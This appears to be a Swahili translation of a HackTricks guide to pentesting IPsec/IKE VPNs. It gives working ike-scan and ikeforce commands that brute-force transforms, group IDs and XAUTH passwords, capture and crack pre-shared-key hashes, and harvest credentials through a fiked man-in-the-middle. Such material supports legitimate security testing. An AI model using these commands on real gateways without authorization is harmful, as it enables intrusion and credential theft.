hacktricks/network-services-pentesting/ipsec-ike-vpn-pentesting.md

18 KiB

500/udp - Kupima Usalama wa IPsec/IKE VPN

Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Taarifa Msingi

IPsec inatambuliwa sana kama teknolojia kuu ya kuhakikisha mawasiliano kati ya mitandao (LAN-to-LAN) na kutoka kwa watumiaji wa mbali hadi kwenye lango la mtandao (upatikanaji wa mbali), ikitumika kama msingi wa suluhisho za VPN za biashara.

Kuanzishwa kwa mkataba wa usalama (SA) kati ya sehemu mbili hushughulikiwa na IKE, ambayo hufanya kazi chini ya kivuli cha ISAKMP, itifaki iliyoundwa kwa ajili ya uwakalaishaji na kubadilishana funguo. Mchakato huu hufanyika katika hatua kadhaa:

  • Hatua ya 1: Kituo salama huanzishwa kati ya sehemu mbili. Hii hufanikiwa kupitia matumizi ya Kitufe cha Kwanza-Kushirikishwa (PSK) au vyeti, ikitegemea mode kuu, ambayo inahusisha jozi tatu za ujumbe, au mode ya kujitokeza.
  • Hatua ya 1.5: Ingawa sio lazima, hatua hii, inayojulikana kama Hatua ya Uthibitishaji wa Kipekee, inathibitisha utambulisho wa mtumiaji anayejaribu kuunganisha kwa kuhitaji jina la mtumiaji na nywila.
  • Hatua ya 2: Hatua hii inajitolea kwa majadiliano ya vigezo vya kuhakikisha data na ESP na AH. Inaruhusu matumizi ya algorithms tofauti na zile katika Hatua ya 1 kuhakikisha Usiri wa Mbele Kamili (PFS), kuimarisha usalama.

Bandari ya chaguo: 500/udp

Gundua huduma kwa kutumia nmap

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

Kupata ubadilishaji halali

Usanidi wa IPSec unaweza kuandaliwa tu kukubali ubadilishaji mmoja au kadhaa. Ubadilishaji ni mchanganyiko wa thamani. Kila ubadilishaji una sifa kadhaa kama vile DES au 3DES kama algoritimu ya kuchipua, SHA au MD5 kama algoritimu ya ukweli, funguo iliyoshirikiwa mapema kama aina ya uthibitishaji, Diffie-Hellman 1 au 2 kama algoritimu ya usambazaji wa funguo na sekunde 28800 kama maisha.

Kwa hivyo, jambo la kwanza unalopaswa kufanya ni kupata ubadilishaji halali, ili server itazungumza nawe. Kufanya hivyo, unaweza kutumia zana ya ike-scan. Kwa chaguo-msingi, Ike-scan hufanya kazi katika mode kuu, na kutuma pakiti kwa lango na kichwa cha ISAKMP na pendekezo moja na ubadilishaji nane ndani yake.

Kulingana na majibu unaweza kupata habari fulani kuhusu mwisho wa mawasiliano:

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

Kama unavyoona kwenye jibu lililopita, kuna uga unaitwa AUTH wenye thamani ya PSK. Hii inamaanisha kuwa vpn imeboreshwa kutumia funguo zilizoshirikishwa mapema (na hii ni nzuri sana kwa mpentesta).
Thamani ya mstari wa mwisho pia ni muhimu sana:

  • 0 returned handshake; 0 returned notify: Hii inamaanisha lengo si geti la IPsec.
  • 1 returned handshake; 0 returned notify: Hii inamaanisha kuwa lengo limeboreshwa kwa IPsec na iko tayari kufanya mazungumzo ya IKE, na moja au zaidi ya mabadiliko uliyopendekeza ni ya kukubalika (mabadiliko sahihi yataonyeshwa kwenye matokeo).
  • 0 returned handshake; 1 returned notify: Geti za VPN hujibu kwa ujumbe wa arifu wakati hakuna mabadiliko yanayokubalika (ingawa baadhi ya geti hazifanyi hivyo, katika kesi hiyo uchambuzi zaidi na pendekezo lililorekebishwa inapaswa kujaribiwa).

Kwa hivyo, katika kesi hii tayari tuna mabadiliko sahihi lakini ikiwa uko kwenye kesi ya 3, basi unahitaji kufanya jaribio kidogo ili kupata mabadiliko sahihi:

Kwanza kabisa unahitaji kuunda mabadiliko yote yanayowezekana:

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

Na kisha jaribu kila moja kwa kutumia ike-scan (hii inaweza kuchukua dakika kadhaa):

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

Ikiwa jaribio la nguvu halikufanya kazi, labda server inajibu bila mikono hata kwa mabadiliko halali. Kisha, unaweza kujaribu jaribio hilo hilo la nguvu lakini ukitumia mode ya kushambulia:

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

Natumai ubadilishaji halali unarudishwa.
Unaweza jaribu shambulio sawa ukitumia iker.py.
Pia unaweza jaribu kubadilisha nguvu za ubadilishaji na ikeforce:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

Katika Kikundi cha DH: 14 = MODP ya biti 2048 na 15 = biti 3072
2 = HMAC-SHA = SHA1 (katika kesi hii). Muundo wa --trans ni $Enc,$Hash,$Auth,$DH

Cisco inapendekeza kuepuka kutumia vikundi vya DH 1 na 2 kwa sababu sio imara vya kutosha. Wataalam wanaamini kwamba nchi zenye rasilimali nyingi zinaweza kwa urahisi kuvunja encryption ya data inayotumia vikundi hivi dhaifu. Hii hufanywa kwa kutumia njia maalum inayowawezesha kuvunja codes haraka. Ingawa inagharimu pesa nyingi kuweka njia hii, inawaruhusu nchi hizi zenye nguvu kusoma data iliyofichwa kwa wakati halisi ikiwa inatumia kikundi ambacho sio imara (kama 1,024-bit au chini).

Uchunguzi wa Fingerprint ya Seva

Kisha, unaweza kutumia ike-scan kujaribu kugundua muuzaji wa kifaa. Zana hiyo hutoa pendekezo la awali na kuacha kujibu. Kisha, ita chambua tofauti ya wakati kati ya ujumbe uliopokelewa kutoka kwa seva na mfano wa majibu yanayolingana, mchunguzi wa usalama anaweza kufanikiwa kugundua muuzaji wa lango la VPN. Zaidi ya hayo, baadhi ya seva za VPN zitatumia malipo ya Kitambulisho cha Muuzaji (VID) ya hiari na IKE.

Taja uongofu halali ikiwa ni lazima (kutumia --trans)

Ikiwa IKE itagundua ni muuzaji yupi, itachapisha hilo:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

Hii inaweza pia kufanikishwa na skripti ya nmap ike-version

Kupata ID sahihi (jina la kikundi)

Ili kuruhusiwa kukamata hash unahitaji uongofu halali unaounga mkono Aggressive mode na ID sahihi (jina la kikundi). Labda hutajua jina sahihi la kikundi, hivyo utalazimika kulazimisha kujaribu.
Kufanya hivyo, ningependekeza njia 2:

Kulazimisha ID na ike-scan

Kwanza jaribu kutuma ombi na ID bandia ukijaribu kukusanya hash ("-P"):

ike-scan -P -M -A -n fakeID <IP>

Ikiwa hashi haijarejeshwa, basi labda njia hii ya kufanya nguvu kazi itafanya kazi. Ikiwa hashi fulani imerejeshwa, hii inamaanisha kwamba hashi bandia itatumwa kwa kitambulisho bandia, kwa hivyo njia hii haitakuwa ya kuaminika kufanya nguvu kazi ya kitambulisho. Kwa mfano, hashi bandia inaweza kurudishwa (hii hutokea katika toleo za kisasa):

Lakini ikiwa kama nilivyosema, hakuna hashi inayorejeshwa, basi unapaswa jaribu kufanya nguvu kazi ya majina ya vikundi vya kawaida kwa kutumia ike-scan.

Script hii itajaribu kufanya nguvu kazi ya vitambulisho vinavyowezekana na itarejesha vitambulisho ambapo mkono wa salamu halali unarejeshwa (hii itakuwa jina halali la kikundi).

Ikiwa umegundua ubadilishaji maalum, ongeza katika amri ya ike-scan. Na ikiwa umegundua ubadilishaji kadhaa, jisikie huru kuongeza mzunguko mpya kujaribu yote (unapaswa kujaribu yote hadi moja wapo ifanye kazi vizuri).

Unaweza kutumia kamusi ya ikeforce au ile katika seclists ya majina ya kikundi cha kawaida kufanya nguvu kazi:

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Kuvunja ID kwa Iker

iker.py pia hutumia ike-scan kuvunja nguvu majina ya vikundi vinavyowezekana. Inafuata njia yake ya kupata ID halali kulingana na matokeo ya ike-scan.

Kuvunja ID kwa ikeforce

ikeforce.py ni chombo kinachoweza kutumika kwa kuvunja nguvu IDs pia. Chombo hiki kitajaribu kutumia mapungufu tofauti ambayo yanaweza kutumika kutofautisha kati ya ID halali na isiyo halali (inaweza kuwa na matokeo sahihi na matokeo yasiyo sahihi, ndio maana napendelea kutumia njia ya ike-scan ikiwezekana).

Kwa chaguo-msingi ikeforce itatuma mwanzoni baadhi ya vitambulisho vya kubahatisha kuchunguza tabia ya seva na kubaini mkakati wa kutumia.

  • Njia ya kwanza ni kuvunja nguvu majina ya vikundi kwa kutafuta habari ya Dead Peer Detection DPD ya mifumo ya Cisco (habari hii inajibiwa tu na seva ikiwa jina la kikundi ni sahihi).
  • Njia ya pili inapatikana ni kuangalia idadi ya majibu yaliyotumwa kwa kila jaribio kwa sababu mara nyingine pakiti zaidi hutumwa wakati kitambulisho sahihi kinatumika.
  • Njia ya tatu inajumuisha kutafuta "INVALID-ID-INFORMATION" kama jibu kwa ID isiyo sahihi.
  • Hatimaye, ikiwa seva haionyeshi chochote kwa uchunguzi, ikeforce itajaribu kuvunja nguvu seva na kuangalia ikiwa kitambulisho sahihi kikitumwa seva itajibu na pakiti fulani.
    Kwa dhahiri, lengo la kuvunja nguvu kitambulisho ni kupata PSK unapokuwa na kitambulisho halali. Kisha, na kitambulisho na PSK utalazimika kuvunja nguvu XAUTH (ikiwa imewezeshwa).

Ikiwa umegundua ubadilishaji maalum, ongeza katika amri ya ikeforce. Na ikiwa umegundua ubadilishaji kadhaa, jisikie huru kuongeza mzunguko mpya kujaribu yote (unapaswa kujaribu yote hadi moja itakapofanya kazi ipasavyo).

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Kunasa Kitambulisho (Sniffing ID)

(Kutoka kwenye kitabu Tathmini ya Usalama wa Mtandao: Tambua Mtandao Wako): Pia niwezekanavyo kupata majina ya watumiaji halali kwa kunasa uhusiano kati ya mteja wa VPN na seva, kwani pakiti ya mode ya kushambulia ya kwanza inayotumia kitambulisho cha mteja hutumwa wazi

Kukamata na kuvunja hash

Mwishowe, Ikiwa umepata ubadilishaji halali na jina la kikundi na ikiwa mode ya kushambulia inaruhusiwa, basi unaweza kwa urahisi kabisa kukamata hash inayoweza kuvunjika:

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

Hash itahifadhiwa ndani ya hash.txt.

Unaweza kutumia psk-crack, john (ukiitumia ikescan2john.py) na hashcat kwa kusudi la kuvunja hash:

psk-crack -d <Wordlist_path> psk.txt

XAuth

Aggressive mode IKE iliyochanganywa na Pre-Shared Key (PSK) mara nyingi hutumiwa kwa madhumuni ya uthibitishaji wa kikundi. Njia hii inaboreshwa na XAuth (Uthibitishaji Uliopanuliwa), ambao hutumika kuongeza safu ya ziada ya uthibitishaji wa mtumiaji. Uthibitishaji kama huo kawaida hutegemea huduma kama Microsoft Active Directory, RADIUS, au mifumo inayofanana.

Kuongeza IKEv2, mabadiliko muhimu yanazingatiwa ambapo EAP (Itifaki ya Uthibitishaji Inayoweza Kupanuliwa) inatumika badala ya XAuth kwa lengo la kuthibitisha watumiaji. Mabadiliko haya yanasisitiza mabadiliko katika mazoea ya uthibitishaji ndani ya itifaki salama za mawasiliano.

MitM ya mtandao wa ndani kwa kukamata siri

Hivyo unaweza kukamata data ya kuingia kwa kutumia fiked na kuona ikiwa kuna jina la mtumiaji la msingi (Unahitaji kuelekeza trafiki ya IKE kwa fiked kwa kunusa, ambayo inaweza kufanywa kwa msaada wa ARP spoofing, maelezo zaidi). Fiked itafanya kazi kama mwisho wa VPN na itakamata siri za XAuth:

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

Kujaribu kuvunja XAUTH jina la mtumiaji na nywila kwa kutumia ikeforce

Kutumia IPSec jaribu kufanya shambulio la kati (MitM) na kuzuia trafiki yote kwenye bandari 500, ikiwa handaki la IPSec halitaweza kuanzishwa labda trafiki itatumwa wazi.

Kwa kuvunja nguvu XAUTH (unapojua jina la kikundi halali la id na psk), unaweza kutumia jina la mtumiaji au orodha ya majina ya watumiaji na orodha ya nywila:

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

Hivi, ikeforce itajaribu kuunganisha kwa kutumia kila kombinisheni ya jina la mtumiaji: nenosiri.

Ikiwa umepata moja au zaidi ya mabadiliko sahihi basi itumie kama ilivyokuwa katika hatua zilizopita.

Uthibitisho kwa kutumia VPN ya IPSEC

Katika Kali, VPNC hutumiwa kuanzisha vichimbuzi vya IPsec. Mipangilio lazima iwekwe katika saraka /etc/vpnc/. Unaweza kuanzisha mipangilio hii kwa kutumia amri vpnc.

Amri na mipangilio ifuatayo inaelezea mchakato wa kuanzisha uhusiano wa VPN na VPNC:

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

Katika usanidi huu:

  • Badilisha [VPN_GATEWAY_IP] na anwani halisi ya IP ya lango la VPN.
  • Badilisha [VPN_CONNECTION_ID] na kitambulisho cha uhusiano wa VPN.
  • Badilisha [VPN_GROUP_SECRET] na siri ya kikundi cha VPN.
  • Badilisha [VPN_USERNAME] na [VPN_PASSWORD] na sifa za uthibitishaji wa VPN.
  • [PID] inamaanisha kitambulisho cha mchakato ambacho kitapewa wakati vpnc inapoanzisha.

Hakikisha thamani halisi na salama zinatumika kuchukua nafasi ya nafasi wakati wa kusanidi VPN.

Vifaa vya Marejeleo

Shodan

  • port:500 IKE
Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks: